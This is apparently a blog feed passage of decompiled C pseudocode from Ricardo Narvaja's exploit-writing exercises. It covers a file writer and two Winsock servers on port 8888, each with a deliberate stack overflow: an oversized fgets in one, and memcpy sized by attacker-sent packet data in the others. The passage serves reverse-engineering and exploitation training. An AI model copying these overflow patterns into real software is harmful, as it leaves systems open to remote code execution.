</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( v20 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">&&</span> v20 <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> );
</span></span><span style="display:flex;"><span> v10 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_40AEA8</span>(v16);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Escriba nombre de nuevo equipo ascendido</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_404C47</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_404E0C</span>(v10, v16, v3);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> v20 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_404F69</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( v20 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">&&</span> v20 <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> );
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Escriba nombre de la liga de equipo ascendido</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_404C47</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_404E0C</span>(v6, <span style="color:#ae81ff">500</span>, v4);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> v20 <span style="color:#f92672">=</span> <span style="color:#a6e22e">sub_404F69</span>();
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( v20 <span style="color:#f92672">!=</span> <span style="color:#ae81ff">10</span> <span style="color:#f92672">&&</span> v20 <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> );
</span></span><span style="display:flex;"><span> <span style="color:#f92672">**</span>(v19 <span style="color:#f92672">+</span> <span style="color:#ae81ff">20</span>) <span style="color:#f92672">=</span> v15;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">sub_4021E0</span>(<span style="color:#f92672">*</span>(v19 <span style="color:#f92672">+</span> <span style="color:#ae81ff">224</span>), v6, <span style="color:#ae81ff">200</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Nombre de nuevo equipo ascendido</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">off_421000</span>(v10);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Nombre de la liga de equipo ascendido</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">off_421000</span>(v6);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Ricardo Narvaja: Exámen 23 (kernel32.dll) 64 bits
https://imlauera.github.io/post/ricardo_narvaja_23/
Tue, 27 Aug 2024 14:54:39 -0300
https://imlauera.github.io/post/ricardo_narvaja_23/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__fastcall</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> FILE <span style="color:#f92672">*</span>v3; <span style="color:#75715e">// rax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v4; <span style="color:#75715e">// ebx
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Buffer[<span style="color:#ae81ff">4</span>]; <span style="color:#75715e">// [rsp+20h] [rbp-E8h] BYREF
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> qword_140003628 <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetModuleHandleA</span>(<span style="color:#e6db74">"kernel32.dll"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( <span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> Stream <span style="color:#f92672">=</span> <span style="color:#a6e22e">fopen</span>(<span style="color:#e6db74">"fichero.dat"</span>, <span style="color:#e6db74">"a+"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>Stream )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">break</span>;
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">_acrt_iob_func</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fgets</span>(Buffer, <span style="color:#ae81ff">450</span>, v3);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fwrite</span>(Buffer, <span style="color:#ae81ff">1uLL</span>, <span style="color:#ae81ff">450uLL</span>, Stream);
</span></span><span style="display:flex;"><span> v4 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>Buffer;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fclose</span>(Stream);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v4 <span style="color:#f92672">==</span> <span style="color:#ae81ff">0x41424344</span> )
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">perror</span>(<span style="color:#e6db74">"No se puede escribir fichero.dat"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%x"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Ricardo Narvaja: Exámen 16 (Servidor, MObexDll.dll)
https://imlauera.github.io/post/ricardo_narvaja_16/
Tue, 27 Aug 2024 14:54:38 -0300
https://imlauera.github.io/post/ricardo_narvaja_16/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v3; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v5; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v6; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v7; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v8; <span style="color:#75715e">// [esp+0h] [ebp-12D0h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v9; <span style="color:#75715e">// [esp+0h] [ebp-12D0h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v10; <span style="color:#75715e">// [esp+0h] [ebp-12D0h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v11[<span style="color:#ae81ff">4096</span>]; <span style="color:#75715e">// [esp+8h] [ebp-12C8h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v12[<span style="color:#ae81ff">400</span>]; <span style="color:#75715e">// [esp+1008h] [ebp-2C8h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Destination[<span style="color:#ae81ff">200</span>]; <span style="color:#75715e">// [esp+1198h] [ebp-138h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> Source[<span style="color:#ae81ff">52</span>]; <span style="color:#75715e">// [esp+1260h] [ebp-70h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v15[<span style="color:#ae81ff">16</span>]; <span style="color:#75715e">// [esp+1294h] [ebp-3Ch] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int16</span> v16[<span style="color:#ae81ff">2</span>]; <span style="color:#75715e">// [esp+12A4h] [ebp-2Ch] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v17; <span style="color:#75715e">// [esp+12A8h] [ebp-28h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v18; <span style="color:#75715e">// [esp+12B4h] [ebp-1Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v19; <span style="color:#75715e">// [esp+12B8h] [ebp-18h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v20[<span style="color:#ae81ff">4</span>]; <span style="color:#75715e">// [esp+12BCh] [ebp-14h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v21; <span style="color:#75715e">// [esp+12C0h] [ebp-10h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// [esp+12C4h] [ebp-Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v23; <span style="color:#75715e">// [esp+12C8h] [ebp-8h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(Source, <span style="color:#e6db74">"Hello Client , I have received your connection.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> Src <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#ae81ff">8192u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LoadLibraryA</span>(<span style="color:#e6db74">"MObexDll.dll"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Initialising Winsock..."</span>, v8);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">WS2_32_115</span>(<span style="color:#ae81ff">514</span>, v12) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Failed. Error Code : %d"</span>, v3);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Initialised.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v9);
</span></span><span style="display:flex;"><span> v23 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_23</span>(<span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v23 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Could not create socket : %d"</span>, v5);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Socket created.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v10);
</span></span><span style="display:flex;"><span> v16[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span> v17 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v16[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_9</span>(<span style="color:#ae81ff">8888</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">WS2_32_2</span>(v23, v16, <span style="color:#ae81ff">16</span>) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Bind failed with error code : %d"</span>, v6);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Bind done"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_13</span>(v23, <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Waiting for incoming connections...port 8888"</span>);
</span></span><span style="display:flex;"><span> v19 <span style="color:#f92672">=</span> <span style="color:#ae81ff">16</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v21 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_1</span>(v23, v15, <span style="color:#f92672">&</span>v19);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v21 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"accept failed with error code : %d"</span>, v7);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Connection accepted</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">strcpy</span>(Destination, Source);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_19</span>(v21, Destination, <span style="color:#ae81ff">200</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v18 <span style="color:#f92672">=</span> dword_403038;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_16</span>(v21, Src, <span style="color:#ae81ff">8192</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v20 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>Src;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%x</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">"</span>, v20[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>v20 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> Size <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>);
</span></span><span style="display:flex;"><span> dword_403030 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memcpy</span>(v11, Src, Size);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> Size; <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>v11[i] )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( dword_403030 <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1988733902</span> );
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>
-
Ricardo Narvaja: Exámen 15 (Servidor, MObexDll.dll)
https://imlauera.github.io/post/ricardo_narvaja_15/
Tue, 27 Aug 2024 14:54:36 -0300
https://imlauera.github.io/post/ricardo_narvaja_15/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#66d9ef">__cdecl</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv, <span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v3; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v5; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v6; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v7; <span style="color:#75715e">// al
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> v8; <span style="color:#75715e">// eax
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v9[<span style="color:#ae81ff">4096</span>]; <span style="color:#75715e">// [esp+0h] [ebp-11D8h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v10[<span style="color:#ae81ff">400</span>]; <span style="color:#75715e">// [esp+1000h] [ebp-1D8h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v11[<span style="color:#ae81ff">16</span>]; <span style="color:#75715e">// [esp+1190h] [ebp-48h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">__int16</span> v12[<span style="color:#ae81ff">2</span>]; <span style="color:#75715e">// [esp+11A0h] [ebp-38h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v13; <span style="color:#75715e">// [esp+11A4h] [ebp-34h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v14; <span style="color:#75715e">// [esp+11B0h] [ebp-28h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v15; <span style="color:#75715e">// [esp+11B4h] [ebp-24h] BYREF
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">size_t</span> Size; <span style="color:#75715e">// [esp+11B8h] [ebp-20h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> v17[<span style="color:#ae81ff">4</span>]; <span style="color:#75715e">// [esp+11BCh] [ebp-1Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>Str; <span style="color:#75715e">// [esp+11C0h] [ebp-18h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v19; <span style="color:#75715e">// [esp+11C4h] [ebp-14h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> i; <span style="color:#75715e">// [esp+11C8h] [ebp-10h]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> v21; <span style="color:#75715e">// [esp+11CCh] [ebp-Ch]
</span></span></span><span style="display:flex;"><span> <span style="color:#66d9ef">void</span> <span style="color:#f92672">*</span>Src; <span style="color:#75715e">// [esp+11D4h] [ebp-4h]
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> Size <span style="color:#f92672">=</span> <span style="color:#ae81ff">4096</span>;
</span></span><span style="display:flex;"><span> Src <span style="color:#f92672">=</span> <span style="color:#a6e22e">malloc</span>(<span style="color:#ae81ff">0x2000u</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LoadLibraryA</span>(<span style="color:#e6db74">"MObexDll.dll"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">Initialising Winsock..."</span>, v9[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">WS2_32_115</span>(<span style="color:#ae81ff">514</span>, v10) )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v3 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Failed. Error Code : %d"</span>, v3);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Initialised.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v9[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> v21 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_23</span>(<span style="color:#ae81ff">2</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v21 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v5 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Could not create socket : %d"</span>, v5);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Socket created.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v9[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> v12[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">2</span>;
</span></span><span style="display:flex;"><span> v13 <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> v12[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_9</span>(<span style="color:#ae81ff">8888</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">WS2_32_2</span>(v21, v12, <span style="color:#ae81ff">16</span>) <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v6 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"Bind failed with error code : %d"</span>, v6);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Bind done"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_13</span>(v21, <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Waiting for incoming connections...port 8888"</span>);
</span></span><span style="display:flex;"><span> v15 <span style="color:#f92672">=</span> <span style="color:#ae81ff">16</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">do</span>
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v19 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_1</span>(v21, v11, <span style="color:#f92672">&</span>v15);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( v19 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> v7 <span style="color:#f92672">=</span> <span style="color:#a6e22e">WS2_32_111</span>();
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"accept failed with error code : %d"</span>, v7);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">puts</span>(<span style="color:#e6db74">"Connection accepted</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> Str <span style="color:#f92672">=</span> <span style="color:#e6db74">"Hello Client , I have received your connection.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span> v8 <span style="color:#f92672">=</span> <span style="color:#a6e22e">strlen</span>(<span style="color:#e6db74">"Hello Client , I have received your connection.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_19</span>(v19, <span style="color:#e6db74">"Hello Client , I have received your connection.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, v8, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> v14 <span style="color:#f92672">=</span> dword_403024;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WS2_32_16</span>(v19, Src, <span style="color:#ae81ff">0x2000</span>, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#f92672">*</span>v17 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>) <span style="color:#f92672">+</span> <span style="color:#f92672">*</span>Src;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"%x</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">"</span>, v17[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">*</span>v17 <span style="color:#f92672">==</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span> )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> Size <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">2</span>);
</span></span><span style="display:flex;"><span> dword_403020 <span style="color:#f92672">=</span> <span style="color:#f92672">*</span>(Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span> Src <span style="color:#f92672">=</span> Src <span style="color:#f92672">+</span> <span style="color:#ae81ff">72</span>;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memcpy</span>(v9, Src, Size);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> ( i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> <span style="color:#ae81ff">3840</span>; <span style="color:#f92672">++</span>i )
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#f92672">!</span>v9[i] )
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">exit</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
